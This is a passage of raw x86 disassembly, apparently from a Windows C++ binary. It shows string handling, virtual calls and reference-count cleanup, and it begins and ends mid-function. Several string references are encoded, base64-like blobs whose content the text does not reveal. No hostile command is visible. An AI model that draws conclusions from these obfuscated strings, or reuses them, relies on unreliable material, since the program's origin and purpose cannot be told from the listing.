je 0x51f2b5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x51f2a0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f2bc
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f2f0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f2e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c2b
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51fb93
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f330
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.005220a0
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.004475d0
add esp, 0x14
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c30
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.Sl9xckdC
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xd
call fcn.0042b6d0
test al, al
jne 0x51f438
push 8
push str.Sl9xckdC
lea ecx, [ebp - 0x3c]
call fcn.0042b9f0
mov byte [ebp - 4], 0xe
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c3a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
push str.Sl9xclJna2M
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xf
call fcn.0042b6d0
test al, al
jne 0x51f47c
push 0xc
push str.Sl9xclJna2M
lea ecx, [ebp - 0x40]
call fcn.0042b9f0
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5b9d84]
lea ecx, [ecx - 0x10]
call fcn.0042b170
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004418d0
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x11
call fcn.00431080
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00432260
lea ecx, [ebp - 0x1a0]
call fcn.00431000
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c44
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042b6d0
test al, al
jne 0x51f56b
test esi, esi
jne 0x51f54e
xor ecx, ecx
jmp 0x51f562
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x51f553
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042b9f0
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x44], eax
call fcn.0042b170
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004418d0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.004446c0
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042b0f0
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5b9d84]
lea ecx, [ecx - 0x10]
call fcn.0042b170
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004418d0
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x17
call fcn.00431080
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00432260
lea ecx, [ebp - 0x1a0]
call fcn.00431000
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c4e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042b6d0
test al, al
jne 0x51f6a8
test esi, esi
jne 0x51f688
xor ecx, ecx
jmp 0x51f69f
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x51f690
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042b9f0
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042b170
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004418d0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.004446c0
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042b0f0
mov byte [ebp - 4], 0x1d
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c58
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c62
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
push 0x586eb8
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x1f
call fcn.0042b6d0
test al, al
jne 0x51f757
push 0x44
push 0x586eb8
lea ecx, [ebp - 0x38]
call fcn.0042b9f0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x7c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gOHkgbWRkY3AgOHkgbWRkY3BHbGRtIDh5IHNwaiA4ICN1cSAqIG1nYiA4I3VxKiBtcnduYyA4ICN1cSB7eyogcWZtdV11Z2xibXUgOCBtZGRjcCB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.00429fb0
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x21
call fcn.00431080
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
mov eax, dword [ebp - 0x70]
cmovae ecx, dword [ebp - 0x80]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00432260
lea ecx, [ebp - 0x1a0]
call fcn.00431000
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea ecx, [ebp - 0x298]
cmovae eax, dword [ebp - 0x60]
mov dword [ebp - 0x48], eax
call fcn.00431080
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x298]
call fcn.00432260
lea ecx, [ebp - 0x298]
call fcn.00431000
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1a0]
cmovae edi, dword [ebp - 0x130]
call fcn.00431080
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00432260
lea ecx, [ebp - 0x1a0]
call fcn.00431000
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.0042a8a0
lea ecx, [ebp - 0x24]
call fcn.00441670
mov byte [ebp - 4], 0x28
push dword [ebp - 0x48]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041e770
mov edx, dword [ebp - 0x24]
or edi, 0xffffffff
add esp, 0x2c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51f8ed
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042b0f0
lea ecx, [ebp - 0x130]
call fcn.0042b0f0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x21
call fcn.0042b0f0
mov eax, dword [ebp - 0x34]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x48], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042b170
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004418d0
mov ecx, dword [ebp - 0x48]
add esp, 4
call fcn.0045b0f0
mov eax, dword [ebp - 0x34]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042b170
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045b0f0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x51f9b4
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51f9aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c6c
push ecx
push edx
call fcn.00545311
add esp, 8
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51f9ce
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51f9e5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51f9fc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x51fa11
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x51fa45
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fa3b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c6c
push ecx
push edx
call fcn.00545311
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x51fa91
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fa87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c6c
push ecx
push edx
call fcn.00545311
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x51fae6
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fadc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c6c
push ecx
push edx
call fcn.00545311
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x51fb3b
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fb31
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c6c
push ecx
push edx
call fcn.00545311
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x521b91
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51eaf0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c6c
jmp 0x51eaf0
mov edx, 0x5b57a8
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51fbe5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fbb0
sub ecx, dword [ebp - 0x24]
je 0x51fbe5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fbe5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x51fbd0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fbec
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51fc20
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fc16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c71
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51febe
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fc60
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.005220a0
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c76
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x2c
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c80
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x2e
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c8a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0x30
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c94
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c9e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x9c]
call fcn.00444d40
mov esi, dword [ebp - 0x34]
add esp, 0x14
mov ecx, 0x5b9e48
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.0041fc70
mov edi, dword [ebp - 0x6c]
cmp byte [edi + 0xd], 0
jne 0x521ca8
lea eax, [edi + 0x10]
push eax
push esi
call fcn.00423630
test al, al
jne 0x521ca8
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042b170
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x68], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042b170
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov dword [ebp - 0x84], esp
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.0042b170
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042b170
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x6c], esi
mov edi, dword [ebp - 0x20]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042b170
mov ecx, dword [ebp - 0x48]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.00406a50
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51fe5e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51fe75
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51fe8c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51fea3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x51fb56
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x51fb56
mov edx, 0x5b58c8
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51ff15
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fee0
sub ecx, dword [ebp - 0x2c]
je 0x51ff15
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ff15
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x51ff00
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x51ff1c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ff50
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ff46
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c6c
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x520112
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ff90
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.005220a0
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521cb2
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521cbc
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x3d
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521cc6
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.00448ab0
mov eax, dword [ebp - 0x34]
add esp, 4
mov esi, esp
mov dword [ebp - 0x6c], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042b170
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042b170
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042b170
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042b170
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.00406d70
mov edx, dword [ebp - 0x2c]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5200dd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5200f4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x51fb56
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x51fb56
mov edx, 0x5b56e8
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x520165
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520130
sub ecx, dword [ebp - 0x2c]
je 0x520165
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520165
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520150
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52016c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5201a0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520196
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c6c
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x52043e
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5201e0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.005220a0
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x589e44
call fcn.004287e0
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
call fcn.005453f7
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x70], eax
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.00443940
mov esi, dword [ebp - 0x34]
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [esi + 0xc]
call fcn.00413df0
mov eax, dword [ebp - 0x70]
push dword [eax + 4]
lea eax, [ebp - 0x70]
push eax
mov ecx, eax
call fcn.0044f500
push 0x2c
push dword [ebp - 0x70]
call fcn.00545311
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x52034f
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5b9d6c
call fcn.0042a8a0
lea ecx, [ebp - 0x2c]
call fcn.00441670
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x520396
test cx, cx
je 0x520392
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x520396
add eax, 4
add edi, 4
test cx, cx
jne 0x520370
xor edi, edi
jmp 0x52039b
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5203b6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x520423
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
